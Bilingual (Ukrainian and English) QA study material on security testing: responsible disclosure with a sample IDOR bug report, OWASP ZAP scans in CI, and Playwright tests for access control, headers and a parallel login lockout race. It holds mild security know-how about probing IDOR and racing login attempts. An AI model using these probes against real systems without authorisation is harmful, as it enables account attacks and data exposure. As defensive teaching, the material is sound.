test('parallel attempts cannot outrun the counter', async ({ request }) => {
const bad = { email: 'lock.race@example.test', password: 'wrong' };
const res = await Promise.all(
Array.from({ length: 20 }, () => request.post('/api/login', { data: bad }))
);
const checked = res.filter(r => r.status() === 401).length;
expect(checked).toBeLessThanOrEqual(5); // every 401 is a real password check
});
Що це: Процес відповідального розкриття вразливостей (Responsible Disclosure) полягає в тому, щоб задокументувати та передати інформацію про знайдений безпековий дефект команді розробників чи сек'юрити-офіцеру безпечним каналом, не публікуючи детальний експлойт чи робочий код атаки у відкритих джерелах до моменту виправлення.
Навіщо/коли: QA зобов'язаний дотримуватися професійної етики під час виявлення критичних вразливостей (наприклад, SQLi чи IDOR), оформлюючи звіт із чітким описом кроків відтворення, впливу та рекомендацій, але уникаючи деструктивних дій.
Приклад з реального проєкту: Під час тестування QA виявив вразливість IDOR, яка дозволяла переглядати дані інших користувачів. Він не став масово викачувати бази даних чи публікувати скріншоти у публічному чаті, а створив приватний тікет у захищеній системі виявлення інцидентів з детальним описом кроків, рівнем ризику за CVSS та рекомендацією додати перевірку власності.
Підводні камені: Публікація деталей експлойта в публічних баг-трекерах або соцмережах до випуску патча є порушенням NDA та етики, що може призвести до експлуатації вразливості зловмисниками.
Уточнююче питання: Які ключові компоненти повинен містити професійний звіт про безпековий дефект (Security Bug Report) для швидкої реакції команди безпеки?
What it is: Responsible vulnerability disclosure is the practice of documenting and transmitting security defect findings to development or security teams through secure channels without publishing weaponized exploit code publicly before patches are deployed.
Why/when: QA must adhere to professional ethics when discovering critical vulnerabilities (like SQLi or IDOR), crafting reports with clear reproduction steps, impact assessments, and remediation advice while avoiding destructive actions.
Real project example: During testing, a QA discovered an IDOR vulnerability exposing user records. Instead of mass exfiltration or posting screenshots publicly, the engineer filed a private ticket in a secure bug tracker with step-by-step instructions, CVSS risk scoring, and remediation advice.
Pitfalls: Publishing exploit details in public bug trackers or social media prior to patch release violates NDA and ethics, enabling malicious actors to exploit systems.
Clarifying question: What essential components should a professional security bug report include to facilitate rapid triage and remediation by security response teams?
# Security Bug Report Template Example
Title: [Critical] IDOR vulnerability on /api/v1/orders endpoint
CVSS Score: 8.6 (High)
Steps to Reproduce: 1. Log in as User A. 2. Request order ID 502. 3. Observe data leak.
Remediation: Implement backend ownership validation for order queries.
Що це: Інтеграція інструментів динамічного сканування вразливостей (DAST), таких як OWASP ZAP (ZAP Baseline Scan), у CI/CD пайплайн дозволяє автоматично перевіряти нові збірки додатків на наявність типових вебвразливостей під час кожного коміту чи релізу.
Навіщо/коли: QA та DevOps налаштовують автоматичне запуск сканерів безпеки на тестовому середовищі після успішного розгортання збірки, щоб виявляти регресії безпеки на ранніх етапах розробки.
Приклад з реального проєкту: У проєкті GitHub Actions було налаштовано офіційний Docker-контейнер OWASP ZAP Baseline Scan одразу після розгортання ефемерного середовища. Сканер автоматично перевірив заголовки безпеки, наявність кук та базові XSS-вразливості, і у разі знаходження помилок високого рівня ризику зупинив збірку пайплайну.
Підводні камені: ДАСТ-сканери можуть давати хибно-позитивні результати (False Positives) або створювати навантаження на БД, тому їх потрібно попередньо налаштовувати та виключати деструктивні сканування на робочих середовищах.
Уточнююче питання: Як налаштувати поріг блокування збірки (fail threshold) у ZAP сканері, щоб фахівці з безпеки не блокували релізи через незначні попередження?
What it is: Integrating Dynamic Application Security Testing (DAST) tools like OWASP ZAP (ZAP Baseline Scan) into CI/CD pipelines enables automated security testing of new application builds during every commit or release cycle.
Why/when: QA and DevOps configure automated security scanners to run against staging environments post-deployment, detecting security regressions early in the development lifecycle.
Real project example: A GitHub Actions workflow incorporated the official OWASP ZAP Baseline Scan Docker container immediately after spinning up an ephemeral staging environment. The scanner inspected security headers, cookies, and basic XSS vectors, failing the build on high-severity findings.
Pitfalls: DAST scanners can generate False Positives or burden database resources, requiring careful tuning and strict restriction to non-production environments.
Clarifying question: How do you configure build failure thresholds in ZAP scans to prevent minor warnings from blocking critical delivery pipelines while catching severe vulnerabilities?
# GitHub Actions workflow snippet for OWASP ZAP Scan
- name: OWASP ZAP Baseline Scan
uses: zaproxy/action-baseline@v0.12.0
with:
target: 'https://staging.valtive.io'
fail_action: true
Що це: Автоматизоване тестування безпеки API за допомогою Postman (з використанням скриптів pm.test) або Playwright дозволяє перевіряти наявність обов'язкових заголовків безпеки, коректність кодів відповідей, відсутність чутливих даних у відповідях та захист від несанкціонованого доступу прямо в регресійній суїті.
Навіщо/коли: QA вбудовує перевірки безпеки у звичайні функціональні автотести, щоб перевіряти не лише бізнес-логіку, але й дотримання контрактів безпеки на кожній збірці.
Приклад з реального проєкту: У проєкті QA написав у Playwright тест для перевірки адміністративного ендпоїнту. Тест надсилав запит під акаунтом звичайного користувача і за допомогою утверджень (assertions) перевіряв, що бекенд повертає статус 403 Forbidden, а також перевіряв наявність заголовків X-Content-Type-Options: nosniff та Strict-Transport-Security у кожній відповіді.
Підводні камені: Автотести не замінюють повноцінний пентест або ручний аудит, але вони чудово підходять як регресійний бар'єр проти випадкового зняття захисту розробниками.
Уточнююче питання: Які саме перевірки безпеки ви рекомендуєте автоматизувати в першу чергу у ваших Postman або Playwright тестових колекціях?
What it is: Automated API security testing using Postman (leveraging pm.test scripts) or Playwright enables verifying mandatory security headers, response status codes, absence of sensitive data leaks, and access control enforcement directly inside regression test suites.
Why/when: QA embeds security assertions into standard functional automated tests to validate both business logic and security contract compliance across every build iteration.
Real project example: In a project, a QA wrote a Playwright test inspecting an administrative endpoint. The test dispatched a request using a standard user token and asserted that the backend returned 403 Forbidden, while also validating X-Content-Type-Options: nosniff and Strict-Transport-Security headers on responses.
Pitfalls: Automated tests do not replace comprehensive manual penetration testing or security audits, but they serve as an exceptional regression barrier against accidental security degradations.
Clarifying question: What specific security assertions do you prioritize automating first within your Postman or Playwright test suites?
test('API security headers and unauthorized access check', async ({ request }) => {
const response = await request.get('/api/v1/admin/stats', {
headers: { 'Authorization': 'Bearer user_token_abc' }
});
expect(response.status()).toBe(403);
expect(response.headers()['x-content-type-options']).toBe('nosniff');
});